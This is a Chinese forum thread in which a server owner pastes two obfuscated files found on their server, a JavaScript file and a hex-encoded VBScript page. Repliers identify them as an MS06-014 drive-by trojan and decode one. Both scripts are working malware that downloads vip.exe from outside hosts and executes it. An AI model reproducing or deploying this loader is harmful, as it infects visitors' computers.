.........服务器上多出文件来了......有什么用这些文件....

服务器多了几个JS文件.一个是这样的..看不懂function yGjnh2(RgI5d) { var oveAS3 = Math.random()*RgI5d; return '\x7E\x74\x6D\x70'+Math.round(oveAS3)+'\x2E\x65\x78\x65'; } 
try { var qezLe="\x68\x74\x74\x70\x3A";tfzLe="\x2F\x2F";
sfzLe="\x77\x65\x62\x2e\x68\x61\x6f\x6d\x2e\x75\x73\x2f\x76\x69\x70\x2e\x65\x78\x65";fHjnh2=qezLe+tfzLe+sfzLe; HHjnh2="\x6F\x62\x6A\x65\x63\x74";IHjnh2="\x63\x6C\x61\x73\x73\x69\x64";
JHjnh2="\x63\x6C\x73\x69\x64\x3A\x42\x44\x39\x36\x43\x35\x35\x36\x2D\x36\x35\x41\x33\x2D\x31\x31\x44\x30\x2D\x39\x38\x33\x41\x2D\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36";CHjnh2="\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D"; QI8Ea3="\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74";
ZHjnh2=(window["\x64\x6F\x63\x75\x6D\x65\x6E\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"](HHjnh2)); ZHjnh2["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"](IHjnh2,JHjnh2); 
var jhI5d=ZHjnh2["\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"]("\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58"+"\x4D"+"\x4C"+"\x48"+"\x54"+"\x54"+"\x50",""); var S=ZHjnh2["\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"](CHjnh2,""); S["\x74\x79\x70\x65"]=1; 
jhI5d["\x4F\x70\x65\x6E"]("\x47\x45\x54", fHjnh2,0); jhI5d["\x53\x65\x6E\x64"](); T7tRw3=yGjnh2(10000); var F=ZHjnh2["\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"](QI8Ea3,""); 
var KxDLe=F["\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72"](0); T7tRw3= F["\x42\x75\x69\x6C\x64\x50\x61\x74\x68"](KxDLe,T7tRw3); S["\x6F\x70\x65\x6E"]();
S["\x57\x72\x69\x74\x65"](jhI5d.responseBody); S["\x53\x61\x76\x65\x54\x6F\x46\x69\x6C\x65"](T7tRw3,2); S["\x43\x6C\x6F\x73\x65"](); 
var Q=ZHjnh2["\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74"]("\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E",""); jsrDa3=F["\x42\x75\x69\x6C\x64\x50\x61\x74\x68"](KxDLe+'\\\x73\x79\x73\x74\x65\x6D\x33\x32','\x63\x6D\x64\x2E\x65\x78\x65');
Q["\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65"](jsrDa3,'\x20\x2F\x63\x20'+T7tRw3,"",open,0); } catch(SgI5d) { SgI5d=1; }还有一个HTML...这都是干什么的啊..<html>
<body>
<script language="JavaScript">
function mymid(ss) {return ss.substring(2);}
</script>
<script language="VBScript">
s="6F6E206572726F7220726573756D65206E6578740D0A"
s=s+"6375726C3D22687474703A2F2F7765622E6261697A632E636F6D2F7669702E657865220D0A666E61"
s=s+"6D65313D227669702E657865220D0A666E616D65323D227669702E766273220D0A53657420646620"
s=s+"3D20646F63756D656E742E637265617465456C656D656E7428226F626A65637422290D0A64662E73"
s=s+"65744174747269627574652022636C6173736964222C2022636C7369643A42443936433535362D36"
s=s+"3541332D313144302D393833412D303043303446433239453336220D0A7374723D224D6963726F73"
s=s+"6F66742E584D4C48545450220D0A5365742078203D2064662E4372656174654F626A656374287374"
s=s+"722C2222290D0A43313D2241646F220D0A43323D2264622E220D0A43333D22737472220D0A43343D"
s=s+"2265616D220D0A737472313D43312643322643332643340D0A737472353D737472310D0A73657420"
s=s+"53203D2064662E6372656174656F626A65637428737472352C2222290D0A532E74797065203D2031"
s=s+"0D0A737472363D22474554220D0A782E4F70656E20737472362C206375726C2C2046616C73650D0A"
s=s+"782E53656E640D0A73313D22536372697074220D0A73323D22696E672E220D0A73333D2246696C65"
s=s+"220D0A73343D2253797374656D4F626A656374220D0A73303D73312B73322B73332B73340D0A7365"
s=s+"742046203D2064662E6372656174656F626A6563742873302C2222290D0A73657420746D70203D20"
s=s+"462E4765745370656369616C466F6C6465722832290D0A666E616D65313D20462E4275696C645061"
s=s+"746828746D702C666E616D6531290D0A532E6F70656E0D0A532E777269746520782E726573706F6E"
s=s+"7365426F64790D0A532E73617665746F66696C6520666E616D65312C320D0A532E636C6F73650D0A"
s=s+"666E616D65323D20462E4275696C645061746828746D702C666E616D6532290D0A53657420747320"
s=s+"3D20462E4F70656E5465787446696C6528666E616D65322C20322C2054727565290D0A74732E5772"
s=s+"6974654C696E652022536574205368656C6C203D204372656174654F626A65637428222257736372"
s=s+"6970742E5368656C6C222229220D0A73716C3D225368656C6C2E52756E282222222B666E616D6531"
s=s+"2B22222229220D0A74732E57726974654C696E652073716C0D0A74732E57726974654C696E652022"
s=s+"736574205368656C6C3D4E6F7468696E67220D0A74732E636C6F73650D0A696620462E46696C6545"
s=s+"786973747328666E616D6531293D74727565207468656E0D0A696620462E46696C65457869737473"
s=s+"28666E616D6532293D74727565207468656E0D0A202020207368613D225368656C6C2E417070220D"
s=s+"0A202020207368623D7368610D0A202020207365742051203D2064662E6372656174656F626A6563"
s=s+"74287368622B226C69636174696F6E222C2222290D0A20202020512E5368656C6C45786563757465"
s=s+"20666E616D65322C22222C22222C226F70656E222C300D0A656E642069660D0A656E642069660D"
flag_type="vbs"
D=""
DO WHILE LEN(S)>1
    k="&H"+ucase(LEFT(S,2))
    p=CLng(k)
    m=chr(p)
    D=D&m
    S=mymid(S)
LOOP
if flag_type="vbs" then
EXECUTE D
end if
if flag_type="html" then
document.write(D)
end if
</script>
</body>
</html>都不知道这是干什么的..有什么用

解决方案 »

  1.   

    应该是病毒，会借助vbs编写成
    会把window["\x64\x6F\x63\x75\x6D\x65\x6E\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"](HHjn）写成
    window["document"]["writeln"]("<html>"); 之类的
      

  2.   

    if flag_type="html" then
    document.write(D)
    end if
      

  3.   

    可能会往你的HTML文件里插入HTML串的木马
      

  4.   

    经过替换和解码后得出这段js,先把\x替换成%，再用html解码：
    ///////////////////////////////////////////////////
    <SCRIPT LANGUAGE="JavaScript">
    <!--
    function yGjnh2(RgI5d) { var oveAS3 = Math.random()*RgI5d; return '~tmp' Math.round(oveAS3) '.exe'; } 
    try { var qezLe="http:";tfzLe="//";
    sfzLe="web.haom.us/vip.exe";fHjnh2=qezLe tfzLe sfzLe; HHjnh2="object";IHjnh2="classid";
    JHjnh2="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36";CHjnh2="Adodb.Stream"; QI8Ea3="Scripting.FileSystemObject";
    ZHjnh2=(window["document"]["createElement"](HHjnh2)); ZHjnh2["setAttribute"](IHjnh2,JHjnh2); 
    var jhI5d=ZHjnh2["CreateObject"]("Microsoft.X" "M" "L" "H" "T" "T" "P",""); var S=ZHjnh2["CreateObject"](CHjnh2,""); S["type"]=1; 
    jhI5d["Open"]("GET", fHjnh2,0); jhI5d["Send"](); T7tRw3=yGjnh2(10000); var F=ZHjnh2["CreateObject"](QI8Ea3,""); 
    var KxDLe=F["GetSpecialFolder"](0); T7tRw3= F["BuildPath"](KxDLe,T7tRw3); S["open"]();
    S["Write"](jhI5d.responseBody); S["SaveToFile"](T7tRw3,2); S["Close"](); 
    var Q=ZHjnh2["CreateObject"]("Shell.Application",""); jsrDa3=F["BuildPath"](KxDLe '%system32','cmd.exe');
    Q["ShellExecute"](jsrDa3,' /c ' T7tRw3,"",open,0); } catch(SgI5d) { SgI5d=1; }
    //-->
    </SCRIPT>
    //////////////////////////////////////////////////////////////////
    应该是利用MS0614漏洞、创建JS异步对象获取病毒（*.exe）文件